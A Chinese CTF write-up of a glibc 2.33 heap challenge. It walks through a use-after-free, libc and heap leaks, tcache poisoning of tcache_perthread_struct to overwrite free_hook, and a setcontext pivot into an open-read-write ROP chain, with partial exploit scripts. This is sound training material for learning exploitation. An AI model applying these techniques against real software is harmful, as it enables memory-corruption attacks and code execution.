前言:emmmm 最近有点道心破碎,京麒 2026CTF 遇到了一个 V8 的题目,之前没学过,就想着学习一下,结果发现自己配置环境配了两天还没有配好,又本来说是想要复现一个 webpwn 的,发现到最后需要时间盲注,自己不会写脚本,让 ai 帮忙写了一份,但总归不是自己写的,心里还是有点空虚,如果没有 ai 那不就还是相当于 0 吗。总而言之就是忙了很久没忙出来什么成果,于是还是复习几道题目巩固一下基础。
本题的难点我觉得在于打 Tcachebin 结构体和 setcontext 的那一块儿,主要是很多地址和堆块,很容易搞混。
不过其实这种题目逻辑性非常强,一个地址都不能写错。不过相比之下我还是更不喜欢那种 go,c++,webpwn 那种审计代码都要看半天的题目,最近 webpwn 给我学的有点懵,很多伪代码都看不懂。
这道题利用 environ 泄露地址应该也是可以的,改天试一试

尝试 patch 了一下,发现 ldd 的路径一直指向本地,readelf 指向的是 ld.so,按理来说没啥问题,但是怪怪的

程序分析:
main
首先看 main 函数,很多函数要自己重命名,先简单重命名一下:
1 | void __fastcall __noreturn main(const char *p_Invalid_choice, char **a2, char **a3) |
Seccomp 函数这里开启了沙箱:

add
1 | int add() |
这里也就间接性规定了新创建的 chunk 大小必定是 0x110,内容大小是 0x100
del:
1 | int del() |
很明显的 UAF 了
edit:
1 | int edit() |
show:
1 | int show() |
这里会打印出来对应 chunk 的内容,可以用来泄露 fd、bk 指针
EXP 思路:
Setcontext 打法,复杂一点
泄露 libc_base
我们知道相同大小的 Tcachebin 在一个链条上最多挂七个,多余的就会根据大小分配搭配 fastbin 或 UnSortedbin 当中,那么我们就可以利用这
1 | for i in range(9): |

可以看到此时 0x110 的 Tcachebin 已经挂满了,因此放到了 UnSortedbin 中,之后可以尝试泄露 main_arena
1 | show(7) |

这里实际上是一直处于卡住的状态,不清楚具体原因,返回调试一下:

发现我们的 content 实际上是由 puts 函数打印出来的,具有遇到 \x00 截断的特性,我们通过上面可以知道 fd 和 bk 指向的 main_arena 附近的地址正好是 00 结尾,泄露的话是小端序在前,就会提前触发截断从而无法打印出我们需要的 main_arena 附近的地址,也就无法进行接收从而卡住,重新编写脚本:
1 | edit(7, 1, b"\x66") |
修改最后的一个字节为 \x66,就是为了防止 \x00 截断,这个值实际上是随便取的

找到固定偏移就可以定位 libc_base 了:
1 | ibc_base = leak_addr - 0x1e0c66 |
泄露 heap_base:
利用接收 fd 指针左移 12 位获得 heap_base
1 | edit(7, 1, b"\x00") |
Tcache Poisoning:
利用Tcache Poisoning篡改 tcache_perthread_struct,当 Tcachebin 结构体当中还有可用块的时候,再利用 tcache_perthread_struct,再次申请出指向 free_hook 的堆块,篡改 free_hook。
1 | edit_addr = heap_base + 0x2a0 |
利用 edit 修改 fd 指针,篡改原堆地址为 chunk0 的 data 区,fd 指针为 heap_base + 0x10,也就是tcache_perthread_struct,当我们连续两次 add 的时候就会将最后一次 add 的对地址申请到 heap_base。
1 | edit(10, 256, p64(0) * 3 + p64(0x0005000000000000) + p64(0) * 0x1b + p64(free_hook)) |
- 用 idx=10 直接改 tcache 管理结构
edit(10, 256, p64(0) * 3 + p64(0x0005000000000000) + p64(0) * 0x1b + p64(free_hook))这一句是在改: counts[15] = 5;entries[15] = free_hook - 当我们再次 add 的时候,就会申请出指向 free_hook 的堆块
- rdx_con 是什么,以及为什么要利用 free_hook,我们下面接着分析:
SetContext
这道题目的glibc版本为glibc 2.33, 来看一下这道题目的setcontext:
1 | Dump of assembler code for function setcontext: |
如果我们可以返回到 setcontext+61 的位置, 且成功控制 rdx 及周边区域, 我们就可以控制各个寄存器的值, 同时我们可以发现 , setcontext+107 的跳转语句均成立, 因此程序真正的执行流如下, 其中 mov rcx,QWORD PTR [rdx+0xa8] ; push rcx是设置rcx并将其值压入栈中, 最后由 ret 将这个值作为返回地址, 实际作用就是设置 rip
1 | 0x00007ffff7e279ad <+61>: mov rsp,QWORD PTR [rdx+0xa0] |
在这道题中, 由于 malloc 的大小是恒定的, 其 rdi 不能由我们控制, 因此我们考虑利用 free 函数, 因为 free 函数的 rdi 是目标堆块的 user data 地址, 只要我们布置好堆块就能够利用
而 rdx_con 的内容是 :
mov rdx, [rdi+0x8] call qword ptr [rdx+0x20],
这也就意味着在触发 free 的时候,参数 rdi 来自的是被 free 的那个指针,因此我们就可以提前在将要 free 的那个 chunk 的 data 区进行布置。当调用 free 时就会 从 [rdi+0x8] 取出一个地址到 rdx;再调用 [rdx+0x20],通过这个 gadget 我们可以通过 rdi 控制 rdx , 并通过设置好的 rdx 调用 setcontext+61。
构造 ORW:
1 | pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address |
触发劫持:
1 | payload = b"A" * 8 + p64(heap_base + 0x3b8) + b"A" * 0x18 + p64(setcontext) + b"A" * 0x78 + p64(heap_base + 0x4c0) + p64(ret) |
依旧根据我们上面所说:画一个 data 域的结构图吧:
1 | 0x0-0xf b"A" * 0x8 | p64(heap_base + 0x3b8) # rdx |
在 delete 触发 free 的时候
mov rdx, [rdi+0x8]:rdx = p64(heap_base + 0x3b8)call qword ptr [rdx+0x20]:call ptr [setcontext+61]- 执行 setcontext,下面只说最重要的
rsp,QWORD PTR [rdx+0xa0]:rsp = p64(heap_base + 0x4c0)ret- 而
heap_base + 0x4c0就是 ORW 链,执行 ORW 获取 flag
总 EXP:
1 | from pwn import* |

Environ 打法,比上面的简单一点:
前面的不多做解释,打法一样,泄露 libc_base
1 | def add(): |
总 EXP:
1 | from pwn import * |
说些什么吧!